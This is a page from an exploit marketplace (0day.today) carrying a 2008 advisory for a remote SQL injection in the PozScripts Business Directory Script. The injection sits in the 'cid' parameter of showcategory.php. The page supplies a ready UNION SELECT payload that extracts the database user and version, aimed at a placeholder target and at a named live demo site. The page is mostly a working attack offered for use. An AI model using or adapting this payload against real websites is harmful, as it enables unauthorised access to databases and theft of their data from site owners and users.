[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

PozScripts Business Directory Script (cid) Remote SQL Injection Vuln

Author
Hussin X
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-4162
Category
web applications
Date add
11-11-2008
Platform
unsorted
====================================================================
PozScripts Business Directory Script (cid) Remote SQL Injection Vuln
====================================================================


|___________________________________________________
|
| Business Directory Script ( cid) Remote SQL Injection Vulnerability
|
|___________________________________________________
|--------------------    Hussin X  -------------------
|
|    Author: Hussin X
|
|___________________________________________________
|
| script :  http://www.pozscripts.com/product_details.php?item_id=6
|
| DorK   :  :) 
|___________________________________________________

Exploit:
________



www.[target].com/Script/showcategory.php?cid=-264+union+select+1,concat(user(),0x3e,version()),3,4,5--



Demo
________

http://www.singwebs.com/businessdirectoryadmindemo/showcategory.php?cid=-264+union+select+1,concat(user

(),0x3e,version()),3,4,5--




#  0day.today [2024-11-15]  #